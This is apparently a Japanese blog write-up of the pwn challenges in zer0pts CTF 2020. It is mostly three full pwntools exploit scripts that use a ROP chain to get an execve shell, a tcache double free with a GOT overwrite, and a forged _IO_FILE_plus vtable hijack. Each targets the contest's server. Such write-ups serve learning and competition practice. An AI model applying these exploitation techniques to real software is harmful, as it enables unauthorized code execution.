newbieからバイナリアンへ

newbieからバイナリアンへ

昨日は海を見に行きました

【pwn 24.0】 zer0pts CTF 2020 writeup (に満たない何か)

 

keywords

forge _IO_FILE_plus / type confusion / FSA / ret to ret to avoid movaps

 

 

 

 

1: イントロ

 いつぞや開催された zer0pts CTF 2020 にチーム TSG として参加した

チームでは 8847点 を取り、 そのうち自分は 1382点 を解いて全体で 12位だった

 

f:id:smallkirby:20200309090754p:plain

 

 

pwn中心のCTFなのにもっと得点源になれないのはカスすぎますね

少しでもチームの得点に貢献できる日はいつになるのやら

 

 

 

 

2: hipwn

 やるだけ太郎

 

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"

rhp1 =  {"host":"13.231.207.73","port":9010}
rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

int3_gad = 0x0040088c
syscall_gad = 0x004024dd
pop_rax_gad = 0x00400121
pop_rdi_gad = 0x0040141c
pop_rdx_gad = 0x004023f5
pop_rbx_gad = 0x0040019b
pop_rsi_r15_gad = 0x0040141a

def exploit(conn):
  conn.recvuntil("name?\n")
  pay = "/bin/sh\x00"
  pay += "A" * (0x108 - len(pay) - len("/bin/sh\x00"))

  pay += "/bin/sh\x00"
  pay += p64(pop_rax_gad)
  pay += p64(59)
  pay += p64(pop_rdi_gad)
  pay += p64(0x604268)
  pay += p64(pop_rsi_r15_gad)
  pay += p64(0)
  pay += p64(0)
  pay += p64(pop_rdx_gad)
  pay += p64(0)
  pay += p64(syscall_gad)
  
  conn.sendline(pay)


if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

結果 

f:id:smallkirby:20200309052915p:plain

 

 

3: diylist

 値を格納又は読み出しする際に、型を指定することができる

char* 型としてアロケートしたときのみmalloc()される

 

char* として allocate した後に

long として GOT のアドレスを書き込み

それを char* として読み出しすると、 libc関数のアドレスがリークできる

 

また delete する際には、値が pool に入っているもののみを char* 型としてfree()する + free() したあとも pool からその値が削除されないという仕様になっている

よって、アロケートしたchunkのアドレスをリークした後

long 型として chunk を複数アロケートして、リークしたアドレスの値を書き込み

それを delete することで容易にtcacheのdouble freeが起こる

尚、 libc は与えられていないが多分libc2.27だろうというメタ的推測をつけた (ha?)

(tcache の double free 検知は2.27にはない)

 

exploitは以下の通り

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"

rhp1 = {"host":"13.231.207.73","port": 9007}
rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

def hoge(conn,ix):
  conn.recvuntil("> ")
  conn.sendline(str(ix))

def _add(conn,ty,data):
  hoge(conn,1)
  conn.recvuntil(": ")
  conn.sendline(str(ty))
  conn.recvuntil("Data: ")
  if ty==1 or ty==2:
    conn.sendline(str(data))
  else:
    conn.send(data)

def _get(conn,ix,ty):
  hoge(conn,2)
  conn.recvuntil("Index: ")
  conn.sendline(str(ix))
  conn.recvuntil(": ")
  conn.sendline(str(ty))
  conn.recvuntil("Data: ")
  return conn.recvline().rstrip()

def _edit(conn,ix,ty,data):
  hoge(conn,3)
  conn.recvuntil("Index: ")
  conn.sendline(str(ix))
  conn.recvuntil(": ")
  conn.sendline(str(ty))
  conn.recvuntil("Data: ")
  if ty==1 or ty==2:
    conn.sendline(str(data))
  else:
    conn.send(data)

def _del(conn,ix):
  hoge(conn,4)
  conn.recvuntil("Index: ")
  conn.sendline(str(ix))
  if "Success" not in conn.recvline():
    raw_input("[!] delete failed. enter to continue:")
  else:
    print("[-]successfully deleted")

off_puts = 0x809c0
off_strchr = 0x9d7c0
off_printf = 0x64e80
off_atol = 0x406a0
onegadgets = [0x4f2c5,0x4f322,0x10a38c]

target = "puts"

def exploit(conn):
  #leak libc
  _add(conn,3,"D"*8)
  print("[*]puts got: "+hex(binf.got[target]))
  _edit(conn,0,1,binf.got[target])
  puts_addr = unpack(_get(conn,0,3).ljust(8,'\x00'))
  libcbase = puts_addr - off_puts
  one1 = libcbase + onegadgets[2]
  print("[+]puts: "+hex(puts_addr))
  print("[+]libc base: "+hex(libcbase))
  print("[+]onegadget: "+hex(one1))
  
  #alloc chunk and avoid from freeing by changing the value different from the addr in the pool
  _add(conn,3,"A"*8)
  str_addr1 = int(_get(conn,1,1))
  print("[+]addr: "+hex(str_addr1))
  _edit(conn,1,1,0xdeadbeef)

  #double free the tcache
  _add(conn,1,str_addr1)
  _del(conn,2)
  _add(conn,1,str_addr1)
  _del(conn,2)
  
  #overwrite fd of tcache and write onegadget's addr on GOT of puts
  _add(conn,3,p64(binf.got["puts"]))
  _add(conn,3,p64(0xdeadbeef))
  _add(conn,3,p64(one1))


if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

結果

f:id:smallkirby:20200309055033p:plain

 

 

4: grimoire

セキュリティ機構とlibc ver

f:id:smallkirby:20200309060036p:plain

 

 まず第一に filepath を書き換えることで任意ファイルの読み込みは可能である

但し、フラグファイル名の推測がつかないため、不採用

f:id:smallkirby:20200309055409p:plain

overwrite filepath

f:id:smallkirby:20200309055425p:plain

it's impossible to guess it fuck

 

あー眠い

 

まず、 filepath が見当たらない際の error() に於いて FSA ができる

これによって、 textbase と libcbase の両方がリークできる

 

また、fp も自由に書き換えられるためfake _IO_FILE_plusを作る

但し libc 2.27 では _IO_vtable_check() が走ることに注意

今回は、 abortの際に _IO_str_jumps の中の _IO_str_overflow が呼ばれるようにvtableを書き換え

その中で呼ばれる _s._allocate_buffer で PC を取ることにした

 

但し、今回は運悪く movaps に引っかかったため

一度 call rsi gadget を挟んでおくことにした

rsi には _IO_write_baseだかendだかが入るため、ここに予めonegadgetの値を入れておく

f:id:smallkirby:20200309063646p:plain

とりあえず貼っとこ

 

 

結局攻撃のフローは以下のようになった

f:id:smallkirby:20200309063413p:plain

なにこの世界一意味のない図???

 

exploitは以下の通り

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"

rhp1 = {"host":"13.231.207.73","port":9008}
rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

def hoge(conn,ix):
  conn.recvuntil("> ")
  conn.sendline(str(ix))

def _open(conn):
  hoge(conn,1)

def _read(conn):
  hoge(conn,2)
  conn.recvuntil("--*\n")
  return conn.recvuntil("*")[:-1]

def _revise(conn,off,text):
  hoge(conn,3)
  conn.recvuntil("Offset: ")
  conn.sendline(str(off))
  conn.recvuntil("Text: ")
  conn.send(text)
  
def _close(conn):
  hoge(conn,4)  

original_len = 370
margin = 0x90-2 #オリジナルのtextの末尾とfpとのオフセット
off_dlmap = 0x400031
off_grimoire_open = 0x1045
off_libc_scu_init = 0xab63d08690
off_libc_start_main231 = 0x21b97
off_main = 0x1478

ogs = [0x4f2c5,0x4f322,0x10a38c]

def exploit(conn):
  #leak libcbase and textbase
  _open(conn)
  _read(conn)
  _revise(conn,370,"A"*margin)
  fp =  unpack(_read(conn).split("A"*margin)[1].ljust(8,'\x00'))
  print("[*]fp: "+hex(fp))
    ##make it possible to fopen with init==1 by forcing fp=0
  _revise(conn,370,"A"*margin + p64(0) + "B"*0x18 + "%13$p:%14$p:%22$p\x00")

  _open(conn) #invoke error and do FSA
  data = conn.recvline().split(": No such")[0]
  textbase = int(data.split(":")[1],16) - off_grimoire_open
  libcbase = int(data.split(":")[2],16) - off_libc_start_main231
  addr_text = textbase + 0x202060
  print("[!]libcbase: "+hex(libcbase))
  print("[!]textbase: "+hex(textbase))
  print("[*]addr text: "+hex(addr_text))


  #forged fake _IO_FILE_plus
  magic = 0x40
  hoge = p64(0x0) #should be
  hoge += p64(0x000055ce789cf603)
  hoge += p64(0x000055ce789cf603)
  hoge += p64(0x0)
  hoge += p64(0x0)
  hoge += p64(libcbase + ogs[0]) #rdi
  hoge += p64(libcbase + ogs[0]) #rsi
  hoge += p64(0x0) #_IO_buf_base
  hoge += p64(0x700) #_IO_buf_end
  hoge += p64(0)*4
  hoge += p64(libcbase + 0x3ec680) #chain
  hoge += p64(0x0000000000000005)
  hoge += p64(0)*2
  hoge += p64(libcbase + 0x3ed8b0)
  hoge += p64(0x0000000000000173)
  hoge += p64(0)
  hoge += p64(libcbase + 0x3ed8b0) #lock
  hoge += p64(0)*6
  hoge += p64(libcbase + 0x3e8340 + 0x28) #_IO_str_jumps with little zure
  
  hoge += p64(libcbase + 0x00022e91) #_s._allocate_buffer == call rsi gadget
  hoge += "A"*(0x200 - magic -len(hoge)) + p64(addr_text + magic) + p64(0)*3 + "grimoire.txt"
  _revise(conn,magic,hoge)
  raw_input()

  _close(conn)

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

結果

 

f:id:smallkirby:20200309063616p:plain

 

 

5: babybof / protrude

チームの人が解いてくれました、凄い

 

6: syscall kit

解けなかった

 

気づきとしては

・brkは libc の wrapper じゃなくてシスコールの場合アドレスを返すということ

・xxx64 とか openat2 みたいな、seccompされてないしスコール使えないんかな

・send とか そのへん使えないんかな

・ソケット通信...?

 

バイナリ自体になんか欠陥があるだとか、C++固有のexploitだとかだったら、もう完敗。乾杯

 

 

7: wget

 チームの人が、 location 2回書いて multiple free させて libc leakまではいった

けど、自分的にデバッグ環境整えるの面倒でやれなかった

 

 

8: meowmow

 kernel問題解いたことなさ過ぎて、モジュールのソース軽く見ただけで、放置してた

grimoireでhardならmediumのこの問題、意外といけたのか???

 

 

9: Survey

ptr-yudai san, バケモンか???

 

 

10: アウトロ

pwn問題はとてもとても面白かったです

(全完勢がいたこととジャンルに偏りがあったのはご愛嬌)

 

 時間内に解けなかったpwn問題は後で必ず全部解いて復習する

 

 

 

 

よくよく考えると

CTFに参加して、楽しい気分で終わったことがないな

問題解けた時のドーパミンは終了時までもたないし、最後は必ず解けてない問題を諦めて終わることになる

 

ということで、もうCTFはしません

 

 

 

 

 

続く

続かない

 

 

 

 

 

 

 

 

 

You can cite code or comments in my blog as you like basically.
The exceptions are when the code belongs to some other license. In that case, follow it. Also, you can't use them for evil purpose. Finally, I don't take any responsibility for using my code or comment.
If you find my blog useful, I'll appreciate if you leave comments.